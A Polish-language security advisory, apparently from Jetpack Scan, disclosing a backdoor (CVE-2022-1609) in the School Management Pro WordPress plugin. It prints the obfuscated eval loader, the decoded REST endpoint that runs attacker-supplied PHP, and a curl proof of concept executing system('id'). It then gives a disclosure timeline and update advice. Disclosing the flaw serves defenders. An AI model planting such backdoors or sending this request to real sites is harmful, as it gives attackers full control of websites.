Backdoor znaleziony we wtyczce The School Management Pro dla WordPress

Opublikowany: 2022-05-20

Wersje wtyczki WordPress przed 9.9.7 „The School Management Pro” firmy Weblizar zawierają tylne drzwi umożliwiające nieuwierzytelnionemu napastnikowi wykonanie dowolnego kodu PHP na stronach z zainstalowaną wtyczką. Jeśli masz zainstalowaną wcześniejszą wersję w swojej witrynie, zalecamy natychmiastową aktualizację do wersji 9.9.7 lub nowszej. To krytyczny problem bezpieczeństwa.

Czytaj dalej, aby poznać szczegóły.

Detale:

  • Nazwa wtyczki: The School Management Pro
  • Plugin slug: school-management-pro , school-management-pro-9.9.6 , school-management-pro-9.9.5 , the-school-management , itp
  • Dostawca: Weblizar
  • Wersje, których dotyczy problem: < 9.9.7
  • CVE: CVE-2022-1609
  • Wynik CVSS: 10,0 (krytyczny)
  • Wektor CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • WPVULNDB: https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2

Częścią pracy w Jetpack Scan jest wspieranie naszej hostowanej firmy WordPress poprzez sprawdzanie podejrzanych plików znalezionych na hostowanych przez nas witrynach. Zwykle jest to spowodowane flagą pliku jednym z naszych podpisów lub tym, że właściciel witryny znalazł coś podejrzanego i chce uzyskać naszą opinię. Z natury rzeczy, czasami te pliki są łagodne, niektóre są fałszywie pozytywne, a niektóre są nowymi odmianami lub odmianami złośliwego oprogramowania, które wymagają więcej pracy nad prawidłową klasyfikacją.

Czasami jednak to, co otrzymujemy razem, jest bardziej interesujące.

Kilka tygodni temu miał miejsce jeden taki incydent. Zespół wsparcia WordPress.com skontaktował się z nami w sprawie zamaskowanego, oczywiście złośliwego kodu, który został znaleziony we wtyczce w kilku witrynach.

}
$_fc = eval("\x65\x76\x61\x6c(\x67\x7a".chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . "\x6c\x61\x74" . "\x65\x28\x62"."\x61\x73\x65\x36"."\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'fY9BasMwEEXX8ikmECIbnAukJJAW77ooSaCLUsTYHjsilu2O5JRQfPdKDs2mbbTQQu/9mS8sS4WF010bg2SyTmGvlW61kylUQ3tFCXxFgqnW1hGrSeNucBRHQkg0S0MmJ/YJ2eiCWksy9QSZ8RIUIQ25Y1daCbDewOuL2mX7g9oTn4lXq6ddtj1sH5+zdHILbJoci5MM7q0CzJk+Br8ZpjL+zJFrC+sbWG5qcqpHRmPj5GFydAUxaGvJ+QHBf5N5031W2h7lu5+0WMAMyPTu8i//I303OsGfjoLO2Pzm13JjuMfw6SQS/m304Bs='" . str_repeat(chr(0x29), 3)."\x3b");
class WLSM_Crypt_Blowfish_DefaultKey

Po dwóch rundach trywialnego odszyfrowania daje to:

add_action( 'rest_api_init', function() {
        register_rest_route(
                'am-member', 'license',
                array(
                        'methods'  => WP_REST_Server::CREATABLE,
                        'callback' => function( $request ) {
                                $args = $request->get_params();
                                if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) ) {
                                        eval( $args['blowf'] );
                                }
                        },
                )
        );
} );

Sam kod nie jest aż tak interesujący: jest oczywistym backdoorem wstrzykiwanym do kodu sprawdzającego licencje wtyczki. Pozwala każdemu napastnikowi na wykonanie dowolnego kodu PHP na stronie z zainstalowaną wtyczką, jak widać na poniższym potwierdzeniu koncepcji:

$ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-content/plugins/school-management-pro-9.9.4/admin/inc/manager/WLSM_LC.php(683) : eval()'d code(1) : eval()'d code(9) : eval()'d code:1) in /var/www/html/wp-includes/rest-api/class-wp-rest-server.php on line 1713

To jest rodzaj rzeczy, które często widzimy w pustych wtyczkach; zdarza się to tak często, że mamy podobny przypadek już omówiony w poprzednim poście. Naszym pierwszym założeniem było, że tak też było w tym przypadku; właściciele witryn zainstalowali wtyczkę z podejrzanego źródła.

Zostaliśmy jednak zapewnieni, że zainstalowane wtyczki zostały otrzymane bezpośrednio od dostawcy. Zostało to również szybko potwierdzone przez dostawcę, który usunął obraźliwy kod po otrzymaniu informacji o jego obecności.

Próbowaliśmy uzyskać więcej informacji od dostawcy o tym, kiedy backdoor został wstrzyknięty, jakich wersji dotyczy problem i jak kod trafił do wtyczki. Wysiłek ten zakończył się niepowodzeniem, ponieważ sprzedawca twierdzi, że nie wie, kiedy i jak kod pojawił się w ich oprogramowaniu.

Widzieliśmy wersje przynajmniej od 8.9, które zawierały backdoora w naszych hostowanych systemach, ale ponieważ nie mamy żadnych jasnych informacji o tym, kiedy backdoor pojawił się po raz pierwszy, musimy założyć, że dotyczy to każdej wersji przed 9.9.7.

Wykrywanie i ostrzeganie o problemie jest dodatkowo skomplikowane przez wtyczkę działającą pod wieloma różnymi slugami, często używając slugów zawierających numer wersji. W naszych hostowanych systemach widzieliśmy co najmniej te warianty:

  • school-management
  • school-management-v*
  • school-management-pro
  • school-management-pro-*
  • the-school-management

Darmowa wersja z repozytorium wtyczek WordPress.org nie zawiera kodu licencyjnego i nie ma na nią wpływu ten backdoor.

Oś czasu

2022-05-04: Eskalowany zespół wsparcia WordPress.com odkrywa wstrzyknięty kod i kontaktuje się z Jetpack Scan w celu przeanalizowania i zweryfikowania odkrycia. Po potwierdzeniu, że jest to backdoor, powiadamiają sprzedawcę.

05.05.2022: Sprzedawca potwierdza, że ​​wstrzyknięty kod rzeczywiście znajduje się w ich dystrybucji i dostarcza nam wersję 9.9.7, w której backdoor został usunięty. Potwierdzamy, że jest czysty.

2022-05-06: Dostawca aktywnie dystrybuuje wersję 9.9.7 wśród swoich klientów i zachęca ich do aktualizacji.

2022-05-10: Sprzedawca odpowiedział na nasze dodatkowe pytania dotyczące tego, czy wiedział, kiedy dodano backdoora, ale twierdzi, że nie wie. Dostarczyli poprzednią wersję, 9.9.4, która zawierała backdoora.

Wniosek

Zalecamy, aby każda witryna z dowolną wersją programu The School Management Pro wcześniejszą niż 9.9.7 zainstalowała natychmiast aktualizację.

W Jetpack ciężko pracujemy, aby zapewnić ochronę Twoich stron internetowych przed tego typu lukami. Zalecamy posiadanie planu bezpieczeństwa dla witryny, który obejmuje skanowanie złośliwych plików i tworzenie kopii zapasowych. Jetpack Security to świetna opcja bezpieczeństwa WordPress, która zapewnia bezpieczeństwo Twojej witrynie i odwiedzającym.

Kredyty

Badanie to było wynikiem współpracy zespołu wsparcia WordPress.com z Nicem Seviciem, Thomem Stackhousem i Joshua Goode oraz Jetpack Scan z Haraldem Eilertsenem i Fioravante Cavallari. Dziękuję również Benedictowi Singerowi za uwagi i poprawki.